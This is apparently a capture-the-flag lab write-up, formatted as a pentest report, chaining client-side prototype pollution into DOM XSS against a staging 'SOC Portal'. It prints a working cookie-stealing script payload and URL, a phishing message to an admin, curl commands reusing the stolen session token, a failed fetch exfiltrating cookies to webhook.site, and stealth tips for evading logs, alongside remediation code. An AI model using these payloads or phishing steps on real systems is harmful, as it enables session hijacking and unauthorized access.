Poluted: Prototype Pollution to XSS
Executive Summary
Overall Risk Rating: π High
Key Findings:
- 1 High-risk client-side prototype pollution vulnerability
- 1 DOM-based XSS vulnerability via polluted properties
- Chained exploitation leading to authentication bypass and data exfiltration
Business Impact: Client-side prototype pollution allows attackers to inject arbitrary JavaScript code, leading to session hijacking, data exfiltration, and unauthorized access to restricted administrative resources.
Objective
Access the /incident-response page which returns 403 Forbidden to normal users.
Initial Access
# Target Application
URL: http://10.1.22.209:3000 (SOC Portal staging application)
# Credentials
Username: pentester
Password: HackSmarter123
Key Findings
High-Risk Vulnerabilities
- Client-Side Prototype Pollution -
/dashboardURL hash parsing (CWE-1321) - DOM-Based XSS -
executeSearch()function via polluted callback (CWE-79) - Network Egress Restrictions - External callbacks blocked, requires internal exfiltration
CVSS v3.1 Score for Prototype Pollution + XSS Chain: 8.1 (High)
| Metric | Value |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | Required (UI:R) |
| Scope | Changed (S:C) |
| Confidentiality | High (C:H) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |
Enumeration Summary
Application Analysis
Target Endpoints Discovered:
/dashboard- User dashboard with search functionality/incident-response- Admin-only page (403 Forbidden for normal users)/api/mail/send- Internal mail API for sending messages/api/mail- Internal mail API for retrieving messages
Summary:
- Authentication: Session-based with cookie tokens
- Authorization:
/incident-responserequires admin session token - Network: External egress blocked by firewall (no webhooks/external catchers work)
- Client-side code: Vulnerable
syncState()andexecuteSearch()functions in dashboard.js
Attack Chain Visualization
βββββββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β Initial Access ββββββΆβ Source Code ββββββΆβ Prototype β
β pentester: β β Analysis β β Pollution via β
β HackSmarter123 β β (dashboard.js) β β URL Hash β
βββββββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β Cookie Exfil via βββββββ DOM XSS βββββββ Social Eng: β
β Internal Mail to β β Execution β β Send Malicious β
β pentester β β (admin context)β β URL to Admin β
βββββββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββ
β Manual curl with β
β stolen session β
β token β FLAG β
βββββββββββββββββββββββ
Attack Path Summary:
- Initial Access: Login as pentester with provided credentials
- Source Analysis: Discover vulnerable
syncState()function parsing URL hash with dot notation - Prototype Pollution: Craft URL with
__proto__.renderCallbackto pollute Object.prototype - Social Engineering: Send malicious URL to admin via internal mail system
- DOM XSS Execution: Admin clicks link β XSS fires in adminβs session context
- Cookie Exfiltration: XSS steals
document.cookieand mails to pentester via internal API - Manual Access: Attacker uses stolen session token to curl
/incident-responseand retrieve flag
Exploitation Path
Step 1: Source Code Analysis
Discovered vulnerable syncState() function:
function syncState(params, target) {
params.split('&').forEach(pair => {
const index = pair.indexOf('=');
if (index === -1) return;
const key = pair.substring(0, index);
const value = pair.substring(index + 1);
const path = key.split('.'); // β οΈ Allows dot notation!
let current = target;
for (let i = 0; i < path.length; i++) {
const part = decodeURIComponent(path[i]);
if (i === path.length - 1) {
current[part] = decodeURIComponent(value);
} else {
current[part] = current[part] || {};
current = current[part];
}
}
});
}
Analysis: This function parses URL hash parameters and allows dot notation like __proto__.propertyName, which enables prototype pollution.
Discovered vulnerable executeSearch() function:
function executeSearch() {
const results = document.getElementById('results');
let options = { prefix: "Searching: " }; // renderCallback NOT defined here!
// Sync URL hash params to options object
if (window.location.hash) syncState(window.location.hash.substring(1), options);
// β οΈ CRITICAL: Checks options.renderCallback but it's not defined!
// This means it inherits from Object.prototype if polluted!
if (options.renderCallback) {
const frag = document.createRange().createContextualFragment(options.renderCallback);
results.innerHTML = "";
results.appendChild(frag); // DOM XSS via createContextualFragment
}
}
Analysis: options.renderCallback is checked but never defined on the options object, so it inherits from Object.prototype. If we pollute Object.prototype.renderCallback, the check passes and arbitrary HTML/JS is rendered.
Step 2: Craft Prototype Pollution Payload
Goal: Pollute Object.prototype.renderCallback with XSS payload that:
- Steals adminβs cookies (including session token)
- Exfiltrates cookies via internal mail API (external network blocked)
Payload (decoded for readability):
<script>fetch('/api/mail/send',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({to:'pentester@hacksmarter.local',subject:'cookies',body:document.cookie})})</script>
Payload (URL-encoded for hash):
http://10.1.22.209:3000/dashboard#__proto__.renderCallback=%3Cscript%3Efetch('/api/mail/send',%7Bmethod:'POST',headers:%7B'Content-Type':'application/json'%7D,body:JSON.stringify(%7Bto:'pentester@hacksmarter.local',subject:'cookies',body:document.cookie%7D)%7D)%3C/script%3E
π Stealth Advantage: This approach uses the applicationβs own internal mail system for exfiltration - no external network calls that would trigger firewall alerts or show up in network logs as suspicious outbound traffic.
Payload breakdown:
// 1. Steal admin's cookies
document.cookie // Contains: user=admin; session=HS_ADMIN_7721_SECURE_AUTH_TOKEN
// 2. Exfiltrate via internal mail API (external network blocked!)
fetch('/api/mail/send', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
to: 'pentester@hacksmarter.local',
subject: 'cookies',
body: document.cookie // Admin's cookies with session token
})
})
Step 3: Social Engineering - Send Malicious Link to Admin
Using the applicationβs internal mail system, compose a message to the admin containing the malicious URL:
To: admin@hacksmarter.local
Subject: Urgent: Dashboard Issue
Body: Hi Admin, I'm seeing strange behavior on the dashboard. Can you check this link?
http://10.1.22.209:3000/dashboard#__proto__.renderCallback=%3Cscript%3Efetch('/api/mail/send',%7Bmethod:'POST',headers:%7B'Content-Type':'application/json'%7D,body:JSON.stringify(%7Bto:'pentester@hacksmarter.local',subject:'cookies',body:document.cookie%7D)%7D)%3C/script%3E
Step 4: Admin Clicks Link - XSS Executes
What happens when admin clicks the link:
- URL hash parsed:
window.location.hashcontains__proto__.renderCallback=<script>...</script> - Prototype pollution:
syncState()setsObject.prototype.renderCallback = '<script>...</script>' - Options object created:
let options = { prefix: "Searching: " }(no renderCallback property) - Inheritance check passes:
if (options.renderCallback)β true (inherits from Object.prototype!) - DOM XSS fires:
createContextualFragment(options.renderCallback)renders malicious script - Script executes: Fetches
/api/mail/sendwith adminβs cookies as body - Cookies exfiltrated: Mail sent to
pentester@hacksmarter.localwith adminβs session token
Step 5: Retrieve Cookies and Access /incident-response
Check pentesterβs inbox using the GET /api/mail endpoint:
curl http://10.1.22.209:3000/api/mail -H "Cookie: user=pentester"
Response:
[{
"from": "system",
"subject": "Welcome",
"body": "Good luck on the audit."
},
{
"from": "admin",
"subject": "cookies",
"body": "session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin",
"read": false
}]
Manually access the restricted page using stolen session token:
curl http://10.1.22.209:3000/incident-response \
-H "Cookie: user=admin; session=HS_ADMIN_7721_SECURE_AUTH_TOKEN"
Flag retrieved from the response!
π Stealth Note: The entire exfiltration happens through the applicationβs own infrastructure - admin sends mail via
/api/mail/send, attacker retrieves viaGET /api/mail. No external callbacks, webhooks, or suspicious outbound connections.
Flag / Objective Achieved
β
Objective: Accessed /incident-response page via prototype pollution + DOM XSS + cookie theft
β
Flag: Retrieved by manually curling /incident-response with stolen admin session token
Key Learnings
- Client-side prototype pollution: Server-side sanitization (body-parser) doesnβt protect against URL hash-based pollution
- Inherited properties: Properties that are CHECKED but not DEFINED inherit from
Object.prototype- perfect pollution targets - Internal exfiltration for stealth: Using the applicationβs own mail system (
/api/mail/sendβGET /api/mail) avoids external network calls that trigger firewall alerts - Living off the land: When external callbacks are blocked, abuse internal application features
- Session context matters: The XSS executes in the adminβs browser with their session token, not the attackerβs
- Social engineering + technical exploit: Combining a phishing approach with a technical vulnerability
Tools Used
- Browser DevTools - Source code analysis and debugging
- Burp Suite - HTTP request interception and analysis
- URL Encoder - Payload encoding for URL hash parameters
Remediation
1. Client-Side Prototype Pollution in syncState() (CVSS: 8.1 - High)
Issue: The syncState() function parses URL hash parameters with dot notation, allowing attackers to pollute Object.prototype via __proto__.propertyName syntax.
CWE Reference: CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes (βPrototype Pollutionβ)
Fix:
// BEFORE (Vulnerable)
function syncState(params, target) {
params.split('&').forEach(pair => {
const index = pair.indexOf('=');
if (index === -1) return;
const key = pair.substring(0, index);
const value = pair.substring(index + 1);
const path = key.split('.'); // β οΈ Allows __proto__ pollution!
let current = target;
for (let i = 0; i < path.length; i++) {
const part = decodeURIComponent(path[i]);
if (i === path.length - 1) {
current[part] = decodeURIComponent(value);
} else {
current[part] = current[part] || {};
current = current[part];
}
}
});
}
// AFTER (Secure)
function syncState(params, target) {
const FORBIDDEN_KEYS = ['__proto__', 'constructor', 'prototype'];
params.split('&').forEach(pair => {
const index = pair.indexOf('=');
if (index === -1) return;
const key = pair.substring(0, index);
const value = pair.substring(index + 1);
const path = key.split('.');
// β
Validate each path segment
if (path.some(part => FORBIDDEN_KEYS.includes(part.toLowerCase()))) {
console.warn('Blocked prototype pollution attempt:', key);
return;
}
let current = target;
for (let i = 0; i < path.length; i++) {
const part = decodeURIComponent(path[i]);
if (i === path.length - 1) {
current[part] = decodeURIComponent(value);
} else {
current[part] = current[part] || {};
current = current[part];
}
}
});
}
2. DOM-Based XSS via createContextualFragment() (CVSS: 7.4 - High)
Issue: The executeSearch() function uses createContextualFragment() with unsanitized user input from polluted properties.
CWE Reference: CWE-79 - Improper Neutralization of Input During Web Page Generation (βCross-site Scriptingβ)
Fix:
// BEFORE (Vulnerable)
if (options.renderCallback) {
const frag = document.createRange().createContextualFragment(options.renderCallback);
results.innerHTML = "";
results.appendChild(frag);
}
// AFTER (Secure) - Use textContent or DOMPurify
import DOMPurify from 'dompurify';
if (options.renderCallback) {
const clean = DOMPurify.sanitize(options.renderCallback);
results.innerHTML = clean;
}
Add Content Security Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Failed Attempts
Approach 1: Server-Side Prototype Pollution
POST /api/endpoint
Content-Type: application/json
{"__proto__": {"isAdmin": true}}
Result: β Failed - Server-side body-parser sanitizes __proto__ in request bodies
Approach 2: External Exfiltration via Webhook.site
fetch('https://webhook.site/[id]', {
method: 'POST',
body: document.cookie
})
Result: β Failed - Firewall blocks external network egress from application
Learning: When external callbacks donβt work, look for internal application features that can be abused (mail APIs, logging, internal webhooks, etc.)
Approach 3: Direct Access Attempt
GET /incident-response HTTP/1.1
Host: 10.1.22.209:3000
Cookie: session=pentester_session_token
Result: β 403 Forbidden - Proper authorization check enforced
OWASP Top 10 Coverage
- A03:2021 - Injection (DOM-based XSS via prototype pollution)
- A04:2021 - Insecure Design (client-side parsing of user-controlled URL hash)
- A05:2021 - Security Misconfiguration (missing CSP, prototype pollution protection)
- A08:2021 - Software & Data Integrity (Object.prototype pollution)
References
Prototype Pollution Resources:
DOM XSS Resources:
Tags: #prototype-pollution #dom-xss #client-side #social-engineering #exfiltration #hacksmarter